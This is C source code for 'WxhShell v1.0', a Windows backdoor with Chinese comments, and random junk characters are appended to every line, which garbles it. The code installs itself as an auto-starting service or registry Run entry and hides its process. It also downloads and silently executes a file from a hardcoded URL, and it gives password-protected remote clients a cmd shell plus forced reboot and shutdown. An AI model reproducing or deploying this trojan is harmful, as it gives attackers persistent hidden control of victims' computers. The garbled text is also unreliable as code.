    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DWU=qD+  
    if(Boot(SHUTDOWN)) #z P-, 2!r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl_3 %$s  
    else { :u7BCV|yr  
    closesocket(wsh); [l-o*@  
    ExitThread(0); atZe`0  
    } l9 \W=-'  
    break; li[[AAWVm  
    } ~R;/u")@e  
  // 获取shell &>AwG4HW#j  
  case 's': { Gor 9 &aJ1  
    CmdShell(wsh); k[8F: T-  
    closesocket(wsh); \lg ^rfj  
    ExitThread(0); Nk@-yZ@,8  
    break; 45 ^ Z5t  
  } W/UA%We3+L  
  // 退出 N5K(yY_T  
  case 'x': { *Hx*s_F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gbhw7 (&  
    CloseIt(wsh); 6 ZRc|ZQ  
    break; Dspvc  
    } t0f7dU3e;L  
  // 离开 `!cdxKLR  
  case 'q': { = 9Yf o,F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WdOxwsq"  
    closesocket(wsh); J%"5?)[z  
    WSACleanup(); 6-\Mf:%B  
    exit(1); K1X-<5]{  
    break; s O#cJAfuu  
        } 3!9JXq%Hl  
  } 3m& r?xZs  
  } 8Ze> hEG  
7KiraKb|  
  // 提示信息 &/[MWQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (8 7wWhH  
} kLzjK]4*  
  } r ??_2>Q  
ga|<S@u?}  
  return; q5r7 KYH{  
} Xc NL\fl1  
zx<t{e7  
// shell模块句柄 ;uAh)|;S#  
int CmdShell(SOCKET sock) ^GV'Y  
{ egsP\ '  
STARTUPINFO si; 1$DcE>  
ZeroMemory(&si,sizeof(si)); 274j7Y'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } Nn+Ny  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~hq\XQX  
PROCESS_INFORMATION ProcessInfo; ]a.e;c-  
char cmdline[]="cmd"; mKtMI!FR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `=;}I@]zj)  
  return 0; Z5'^Hj1,  
} xpp nBnu$7  
>A{e,&  
// 自身启动模式 Ngx2N<$<*g  
int StartFromService(void) f'ld6jt|%  
{ j8Mt"B  
typedef struct <`-sS]=d}  
{ [&~x5l 8\C  
  DWORD ExitStatus; x]YzVJ=Y  
  DWORD PebBaseAddress; YCP D+  
  DWORD AffinityMask; 3VU4E|s>  
  DWORD BasePriority; $-^& AKc  
  ULONG UniqueProcessId; w!*ZS~v/r  
  ULONG InheritedFromUniqueProcessId; 'r=2f6G>cP  
}   PROCESS_BASIC_INFORMATION; h7ZH/g$)  
_fgsHx>l7  
PROCNTQSIP NtQueryInformationProcess; fph+ 05.%  
prM)t8SE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5X3JQ"z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jo qhmn$j  
@lM-+q(tl  
  HANDLE             hProcess; l %zbx"%x  
  PROCESS_BASIC_INFORMATION pbi; \+Qd=,!i(  
g_PP 9S_?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [V /f{y~ {  
  if(NULL == hInst ) return 0; ^Rl?)_)1HE  
f@9XSZ<.71  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6f0o'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &B :L9^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LdOqV'&r  
D\ZH1C!d  
  if (!NtQueryInformationProcess) return 0; ?$I9/r  
H{_D#It  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6ym$8^  
  if(!hProcess) return 0; Qhe<(<^J,  
]n@T5*=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C:AV?  
7C Sn79E  
  CloseHandle(hProcess); F `F|.TX  
;9#W#/B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O.Te"=^"F  
if(hProcess==NULL) return 0; SG~HzQ\%  
REcKfJTj  
HMODULE hMod; IEM{?  
char procName[255]; 9I5AYa?  
unsigned long cbNeeded; aox@- jyr  
c9@3=6S/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'lEIwJV$  
nT~XctwF  
  CloseHandle(hProcess); 9 M?UPE  
6o]{< T/'  
if(strstr(procName,"services")) return 1; // 以服务启动 y% !.:7Y  
[".94(qs  
  return 0; // 注册表启动 -=lL{oB1  
} uARkf'  
U![$7k>,pr  
// 主模块 b{<$OVc  
int StartWxhshell(LPSTR lpCmdLine) 5KTFf6Uq  
{ @yQ1F> t  
  SOCKET wsl; @qWClr{`  
BOOL val=TRUE; ^G5fs'd  
  int port=0; ())_4 <  
  struct sockaddr_in door; #;1RStb:zj  
[P6A $HC<  
  if(wscfg.ws_autoins) Install(); Jp8,s%  
]f`UflMO8  
port=atoi(lpCmdLine); 4v(?]]X  
(Xz q(QV  
if(port<=0) port=wscfg.ws_port; <Nloh+n=  
"9~KVILlLu  
  WSADATA data; -IDhK}C&T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vUL@i'0&o  
3qV~C{ S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (KvN#d 1\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tmeg=U7  
  door.sin_family = AF_INET; YXF^4||j.c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )\W}&9 >  
  door.sin_port = htons(port); i$:yq.DW  
"cOBEhn%l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .345%j  
closesocket(wsl); RN&8dsreZp  
return 1; xvWP^Qkb  
} l r~>!O  
jrm^n_6};  
  if(listen(wsl,2) == INVALID_SOCKET) { sP9{tk2K  
closesocket(wsl); ne[H`7c  
return 1; QY\'Uu{  
} 8H3O6ro  
  Wxhshell(wsl); HR  
  WSACleanup(); 96gaun J  
&u) qw }  
return 0; =*UVe%N4  
a94 nB  
} mkgL/h*  
,6A/| K-  
// 以NT服务方式启动 Idj Z2)$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~PN[ #e]  
{ JvJ)}d$,&  
DWORD   status = 0; xKT;1(Mk  
  DWORD   specificError = 0xfffffff; 3m~3l d  
An BM*5G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E*v+@rv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )1)&fN41i#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1bCS4fs^>  
  serviceStatus.dwWin32ExitCode     = 0; R^K:hKQ  
  serviceStatus.dwServiceSpecificExitCode = 0; On+0@hh  
  serviceStatus.dwCheckPoint       = 0; ;~}!P7z  
  serviceStatus.dwWaitHint       = 0; tU8aPiUl  
?J"Y4,{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5YiBPB")  
  if (hServiceStatusHandle==0) return; 8nSw7:z  
q}&+{dN\1  
status = GetLastError(); 25;`yB$  
  if (status!=NO_ERROR) n8&x=Z}Xs  
{ `_{,4oi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'f.5hX(Y  
    serviceStatus.dwCheckPoint       = 0; z+?48 }  
    serviceStatus.dwWaitHint       = 0; $bk_%R}s  
    serviceStatus.dwWin32ExitCode     = status; y8|}bd<Sr  
    serviceStatus.dwServiceSpecificExitCode = specificError; [} %=& B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tqU8>d0^  
    return; 49B6|!&I  
  } G?+]BIiL  
{5T:7*J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (=s%>lW|  
  serviceStatus.dwCheckPoint       = 0; T%2%*oa  
  serviceStatus.dwWaitHint       = 0; t`x_@pr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3^F1hCB  
} Wp= &nh  
p"NuR4   
// 处理NT服务事件,比如:启动、停止 `6G:<wX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X*M--*0q'  
{ p/jAr+XM  
switch(fdwControl) '/F~vSQsR  
{  w"h'rw  
case SERVICE_CONTROL_STOP: ze#ncnMo  
  serviceStatus.dwWin32ExitCode = 0; 6IL-S%EGK1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @<p9 O0  
  serviceStatus.dwCheckPoint   = 0; |Fzt| \  
  serviceStatus.dwWaitHint     = 0;  bzX/Zts  
  { atfK?VK#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z%/<|`  7  
  } ']vMOGG  
  return; ?*U:=|  
case SERVICE_CONTROL_PAUSE: Ea N^<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2}#VB;B  
  break; 1.z !u%2  
case SERVICE_CONTROL_CONTINUE: :J6FI6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %A;s 3 ]V  
  break; )Z@hk]@?_[  
case SERVICE_CONTROL_INTERROGATE: :j% B(@b  
  break; 4{ exv  
}; M cbiO)@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qnU$Pd  
} 2rX}A3%9^^  
q&EwD(k  
// 标准应用程序主函数 Z+! 96LR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _K|?;j#x0k  
{ Wi!$bL`l  
z%WOv ~8~  
// 获取操作系统版本 { :_qa|  
OsIsNt=GetOsVer(); _jrkR n1"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K|{&SU_m  
 2dBjc{  
  // 从命令行安装 ;JR_z'<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ju;Myi}a  
29h_oNO  
  // 下载执行文件 05vu{>  
if(wscfg.ws_downexe) { #+PfrS=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9 kS;_(DB  
  WinExec(wscfg.ws_filenam,SW_HIDE); jh.e&6  
} v`u>; S_  
=J&aN1Hgt  
if(!OsIsNt) { tM{U6k  
// 如果时win9x,隐藏进程并且设置为注册表启动 55|.MXzq  
HideProc(); G@Vz }B:=  
StartWxhshell(lpCmdLine); 3+# "4O  
} v_ W03\  
else  Ry iS  
  if(StartFromService()) [=I==?2`X  
  // 以服务方式启动 de?lO ;8  
  StartServiceCtrlDispatcher(DispatchTable); "J6 aU  
else  al:c2o  
  // 普通方式启动 i3\6*$Ug  
  StartWxhshell(lpCmdLine); mdD9Q N01  
Qz?r4kR  
return 0; SB`"%6  
} db.E-@W.OI  
2VNfnk  
o+Kh2;$)  
jo8;S?+<|?  
=========================================== .Qeml4(`3  
E$8 4c+  
XZ8;Ow=  
g?caE)  
#ZRplA~C7]  
Yl6\}_h`  
" ~h*p A8^L  
[,fdNxc8  
#include <stdio.h> iy_\1jB0  
#include <string.h> QWBQ 0#L  
#include <windows.h> P>t[35/1  
#include <winsock2.h> `FM^)(wT  
#include <winsvc.h> 2 <@27 C5  
#include <urlmon.h> /RmHG H!  
~|~j01#  
#pragma comment (lib, "Ws2_32.lib") ~:%rg H  
#pragma comment (lib, "urlmon.lib") W<D(M.61A  
;|LS$O1c  
#define MAX_USER   100 // 最大客户端连接数 sR. ecs+  
#define BUF_SOCK   200 // sock buffer z!I(B^)BkT  
#define KEY_BUFF   255 // 输入 buffer ZSTpA,+6  
XHlx89v7  
#define REBOOT     0   // 重启 E*Q><UU  
#define SHUTDOWN   1   // 关机 \ns#l@B  
4%I(Z'*Cx  
#define DEF_PORT   5000 // 监听端口 [T.BK:  
h?:lO3)TL=  
#define REG_LEN     16   // 注册表键长度 .#b!#   
#define SVC_LEN     80   // NT服务名长度 {-]/r  
o?J>mpC  
// 从dll定义API fx QN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [-sE:O`yt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sS$- PX C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^J>jU`)CJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M,Px.@tw.  
?~a M<rcZ  
// wxhshell配置信息 <oS k!6*  
struct WSCFG { 'H`_Z e<  
  int ws_port;         // 监听端口 x=qACoq  
  char ws_passstr[REG_LEN]; // 口令 BV&}(9z  
  int ws_autoins;       // 安装标记, 1=yes 0=no kl|KFdA;  
  char ws_regname[REG_LEN]; // 注册表键名 h(I~HZ[K&T  
  char ws_svcname[REG_LEN]; // 服务名 eP3)8QC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z<|ca T]Q(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G2kr~FG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 56o?=|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PL8eM]XS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c(bh i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3Lq?Y7#KQp  
fwIZr~l  
}; P,O9On  
Y:VM 5r)  
// default Wxhshell configuration '8>#`Yba  
struct WSCFG wscfg={DEF_PORT, C/[2?[  
    "xuhuanlingzhe",  -[a0\H  
    1, S&V5zB""n  
    "Wxhshell", CD^_>sya  
    "Wxhshell", ]P ->xJ  
            "WxhShell Service", WZCX&ui  
    "Wrsky Windows CmdShell Service", 2&]UFg:8Q  
    "Please Input Your Password: ", >;QkV6i7  
  1, j*$GP'Df3  
  "http://www.wrsky.com/wxhshell.exe", "wxs  
  "Wxhshell.exe" SM:{o&S`  
    }; QHsS|\u  
~]A';xH&  
// 消息定义模块 ,KIa+&vJW@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W?'!}g(~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Uz H)fB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K I$?0O  
char *msg_ws_ext="\n\rExit."; @}x)>tqD  
char *msg_ws_end="\n\rQuit."; }x-~>$:"  
char *msg_ws_boot="\n\rReboot..."; mxQS9y  
char *msg_ws_poff="\n\rShutdown..."; m5zP|s1`['  
char *msg_ws_down="\n\rSave to "; %I%F !M  
_?@>S7-  
char *msg_ws_err="\n\rErr!"; n\*>m p)  
char *msg_ws_ok="\n\rOK!"; pp#Kb 2*  
2X)E3V/*  
char ExeFile[MAX_PATH]; VPn #O  
int nUser = 0; h.4;-&  
HANDLE handles[MAX_USER]; IVkKmO(qO  
int OsIsNt; ,h5.Si>  
$}OU~d1q  
SERVICE_STATUS       serviceStatus; v<tH 3I+   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -j]r\EVKS  
Fm,A<+l@u  
// 函数声明 }.2pR*W  
int Install(void); .K}u`v T  
int Uninstall(void); g;v{JB  
int DownloadFile(char *sURL, SOCKET wsh); KzeA+PI  
int Boot(int flag); GMgsM6.R  
void HideProc(void); zmf5!77  
int GetOsVer(void); p`Omcl~Q  
int Wxhshell(SOCKET wsl); )R9>;CuC9?  
void TalkWithClient(void *cs); _ZzPy;[i?  
int CmdShell(SOCKET sock); i3;Z:,A4NN  
int StartFromService(void); 1oj7R7  
int StartWxhshell(LPSTR lpCmdLine); B Ibcm,YQ  
?*,N ?s(U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {E6b/G?Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @/anJrt  
0gO2^m)W  
// 数据结构和表定义 1.yw\ZC\  
SERVICE_TABLE_ENTRY DispatchTable[] = ;5"r)F+P  
{ 3$l'>v+5{  
{wscfg.ws_svcname, NTServiceMain}, Mk|h ><Q"  
{NULL, NULL} %>xW_5;Z  
}; dWD9YIYf  
wOHK dQ'  
// 自我安装 fgn*3 pg  
int Install(void) X-oou'4<  
{ N<Y-]xS  
  char svExeFile[MAX_PATH]; )dC%g=dtc  
  HKEY key; a/L?R Uu  
  strcpy(svExeFile,ExeFile); U G^6I5  
1ZhJ?PI,9{  
// 如果是win9x系统,修改注册表设为自启动 N[aK#o,  
if(!OsIsNt) { z>~`9Qiw'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |`qur5h`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D\j1`  
  RegCloseKey(key); CX CU5-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HewVwD<C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pm+H!x,  
  RegCloseKey(key); "St,4 b  
  return 0; uZmfvMr3  
    } z %+?\.oH  
  } &giJO-^ f  
} _k5KJKvr  
else { *|euC"5c  
1mI)xDi9  
// 如果是NT以上系统,安装为系统服务 b LL!iz?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Lc X7gU>  
if (schSCManager!=0) nV:.-JR  
{ YfxZ<  
  SC_HANDLE schService = CreateService js8uvZ i  
  ( eSa ]6  
  schSCManager, PcUi+[s;x  
  wscfg.ws_svcname, ]7dm`XV  
  wscfg.ws_svcdisp, iKp4@6an  
  SERVICE_ALL_ACCESS, .O1g'%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t&0n"4$d'  
  SERVICE_AUTO_START, + ` Em&  
  SERVICE_ERROR_NORMAL, TO( =4;U  
  svExeFile, Z"e|DP`  
  NULL, J,{sRb%  
  NULL, 7|,5;  
  NULL, )2bPu[U  
  NULL,  U]e;=T:3  
  NULL <bGSr23*  
  ); '^7Sa  
  if (schService!=0) g&BF#)7C  
  { [0MVsc=  
  CloseServiceHandle(schService); FE$)[w,m  
  CloseServiceHandle(schSCManager); Wv(VV[?/&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #[I`VA\x  
  strcat(svExeFile,wscfg.ws_svcname); eW7;yH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EkOBI[`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !30Dice  
  RegCloseKey(key); gfih;i.pY  
  return 0; GbStqR~^#  
    } "hs`Y4U  
  } q'c'rN^  
  CloseServiceHandle(schSCManager); 0%'&s)#  
} \!G&:<h  
} q1NAKcA<U  
BS+N   
return 1; V/762&2X  
} SB eb}LZ  
rC/m}`b  
// 自我卸载 x\x>_1oP  
int Uninstall(void) zy+|)^E  
{ _E&*JX  
  HKEY key; 7CM<"pV  
XQlK}AK  
if(!OsIsNt) { ;wTl#\|w0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?L{[84GSO  
  RegDeleteValue(key,wscfg.ws_regname); ` [@ F3x  
  RegCloseKey(key); {T m-X`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rf]]I#C7  
  RegDeleteValue(key,wscfg.ws_regname); z#bO FVg#  
  RegCloseKey(key); x*bM C&Ea  
  return 0; H$;K(,'  
  } 1 ljgq]($  
} *Swb40L^  
} K.b-8NIUW  
else { )Hl;9  
j"J2&Y2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A[=)Zw "  
if (schSCManager!=0) VJZ   
{ y=5s~7]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %2bZeZ  
  if (schService!=0) . (Q;EF`_U  
  { 8cR4@Hqx  
  if(DeleteService(schService)!=0) { 3D;\V&([  
  CloseServiceHandle(schService); f}  eZX  
  CloseServiceHandle(schSCManager); '$q'Wl)  
  return 0; A&F@+X6@  
  } :eei<cn2  
  CloseServiceHandle(schService); :6N{~[:4  
  } MP;7 u%   
  CloseServiceHandle(schSCManager); 73 D|gF*  
} Hz%#&E  
} b\dBt#mB!  
d!e$BiC  
return 1; kM]?  
} rkG*0#k  
IWuR=I$t  
// 从指定url下载文件 :}e*3={4  
int DownloadFile(char *sURL, SOCKET wsh) 2vu"PeU9  
{ "7Zb)Ocb  
  HRESULT hr; B5zu?AG  
char seps[]= "/"; @M:j~  
char *token; e=1&mO?  
char *file; ^nFa'=  
char myURL[MAX_PATH]; n=L;(jp<j  
char myFILE[MAX_PATH]; uTBls8  
:$dGcX}  
strcpy(myURL,sURL); >umcpkp- h  
  token=strtok(myURL,seps); l3b$b%0'  
  while(token!=NULL) kO~xE-(=  
  { X -w#E3  
    file=token; I6{}S6  
  token=strtok(NULL,seps); Uj1^?d+b  
  } =36vsps=  
>c5Vz^uM{4  
GetCurrentDirectory(MAX_PATH,myFILE); +, p  
strcat(myFILE, "\\"); ShF ][v1L  
strcat(myFILE, file); ^md7ezXL  
  send(wsh,myFILE,strlen(myFILE),0); %Kd8ZNv  
send(wsh,"...",3,0); ?U iwr{Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o T5?*3f  
  if(hr==S_OK) M)V z9,  
return 0; ,#`gwtFG  
else s|"V$/X(W  
return 1; xJJlVP  
n|yl3v  
} >"5^]o2?~l  
1CFrV=d  
// 系统电源模块 * 8kg6v%  
int Boot(int flag) hc`9Y  
{ R]m`v: 9  
  HANDLE hToken; f/eT4y  
  TOKEN_PRIVILEGES tkp; i8Yl1nF  
#HJF==  
  if(OsIsNt) { F, %qG,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aluXh?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (GMKIw2  
    tkp.PrivilegeCount = 1; j<R,}nmD3\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J,4]d u$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 43A6B  
if(flag==REBOOT) { /-8v]nRB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X>wB=z5PXK  
  return 0; [WRs1$5  
} 818</b<yn  
else { os/~6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?*9U d  
  return 0; 4+$<G/K  
} e ! 6SJ7xC  
  } E@JxY  
  else { #fk)Y1  
if(flag==REBOOT) {  !|9$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 23_<u]V  
  return 0; &Sa<&2W4S  
} ig")bt3s5  
else { 8v*>~E/0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SL hki)|  
  return 0; 7B"J x^  
} GH7{_@pv8  
} `JG~%0Z?}  
69dFd!G\  
return 1; _>dqz(8#  
} _ZzN}!Mye  
L`R,4mI.W  
// win9x进程隐藏模块 o!q9pt  
void HideProc(void) `]LaX&u  
{ %,K|v  
lE?e1mz{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c72Oy+#  
  if ( hKernel != NULL ) }<2F]UuR  
  { ?uU0NKZA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .x(&-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W#u}d2mP  
    FreeLibrary(hKernel); S4qh8c  
  } MeQ(,irr^  
,*E%D _  
return; :`:<JA3,  
} "sAR< 5b  
|GdA0y\v*}  
// 获取操作系统版本 &I'~:nWpt  
int GetOsVer(void) Qc[[@=S%  
{ iV'-j,-i  
  OSVERSIONINFO winfo; g_0"T}09(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v 0rX/ mj  
  GetVersionEx(&winfo); K ANE"M   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Ks?g=K-  
  return 1; @h>#cwhU  
  else 7 aDI6G  
  return 0; *uA?}XEfi  
} <' P|g  
j@GMZz<  
// 客户端句柄模块 1yX&iO^d  
int Wxhshell(SOCKET wsl) M?[lpH3  
{ D1o 8Wo  
  SOCKET wsh; \lKQDct. -  
  struct sockaddr_in client; \RQ5$!O  
  DWORD myID; M#<x2ojW  
<i]%T~\Af)  
  while(nUser<MAX_USER) &CUkR6  
{ _JR4 PKtx  
  int nSize=sizeof(client); d57(#)`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aj(M{gFq~  
  if(wsh==INVALID_SOCKET) return 1; PDD` eK}Fj  
HoRLy*nU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *\S>dhJ4  
if(handles[nUser]==0) De>pIN;B>  
  closesocket(wsh); {GHGFi`Z  
else ngm7Vs  
  nUser++; |I OTW=>  
  } >W-e0kkH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;A- Ef  
 n8:2Z>  
  return 0; 5.GBd_;  
} _ORW'(:Z  
e}K;5o=I  
// 关闭 socket Jt)<RMQ^R  
void CloseIt(SOCKET wsh) b]|7{yMV  
{ <7 PtC,74  
closesocket(wsh); E"L'm0i[[  
nUser--; YLFTf1G9  
ExitThread(0); :"QRB#EC%  
} |ZZ3Qr+%S  
N#[/h96F  
// 客户端请求句柄 m|f|u3'z$  
void TalkWithClient(void *cs) %H}+'.8  
{ 7kJ,;30)  
0hNc#x6  
  SOCKET wsh=(SOCKET)cs; pn =S%Qf]  
  char pwd[SVC_LEN]; ,9A[o`b  
  char cmd[KEY_BUFF]; 0f-gQD  
char chr[1]; {?m',sG;&  
int i,j; wkIH<w|jb  
w6wXe_N+M  
  while (nUser < MAX_USER) { .0a$E`V=D  
^3r2Q?d\  
if(wscfg.ws_passstr) { lT(MywNsg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H>Fy 2w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DAvAozM  
  //ZeroMemory(pwd,KEY_BUFF); :^ cA\2=  
      i=0; }NYsKu_cM  
  while(i<SVC_LEN) { kwyvd`J8  
Z>X -ueV  
  // 设置超时 >G-D& A+  
  fd_set FdRead; T %cN(0 @  
  struct timeval TimeOut; IG bQ L  
  FD_ZERO(&FdRead); &j>`H:  
  FD_SET(wsh,&FdRead); /#Xz+#SqY  
  TimeOut.tv_sec=8; 1$ l3-x  
  TimeOut.tv_usec=0; +Uk/Zg w^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #cmj?y()  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qQ|v~^  
n\P{Mc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .IYE"0)wJ  
  pwd=chr[0]; f-23.]`v  
  if(chr[0]==0xd || chr[0]==0xa) { Z&21gN  
  pwd=0; |\b*p:e l  
  break; R_ Z H+@O  
  } $MP'j9-S?  
  i++; av5lgv)3  
    } z}pdcQl#  
|#MA?oz3T  
  // 如果是非法用户,关闭 socket gMgbqGF)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TYB^CVSZ  
} C$?dkmIt  
(A ?e}M^}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <)"Mi}Q[)p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,c7 8O8|  
0P!6 .-XU  
while(1) { cl{;%4$9  
R[Pyrs!H  
  ZeroMemory(cmd,KEY_BUFF); VV?KJz=,W=  
n32BHOVE  
      // 自动支持客户端 telnet标准   mF#{"  
  j=0; &%INfl>o7.  
  while(j<KEY_BUFF) { jMZ{>l.v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IF@)L>-%  
  cmd[j]=chr[0]; o,u-%  
  if(chr[0]==0xa || chr[0]==0xd) { :~g=n&x  
  cmd[j]=0; /(XtNtO*  
  break; s_VP(Fe@K  
  } qf+I2 kyS  
  j++; 72Ft?;R  
    } J6|5*|*^  
!7Ta Vx}`(  
  // 下载文件 }cMb0`oA  
  if(strstr(cmd,"http://")) { KLlW\MF1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6x6PP}IX  
  if(DownloadFile(cmd,wsh)) 41,Mt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rT5dv3^MW!  
  else i!jx jP  
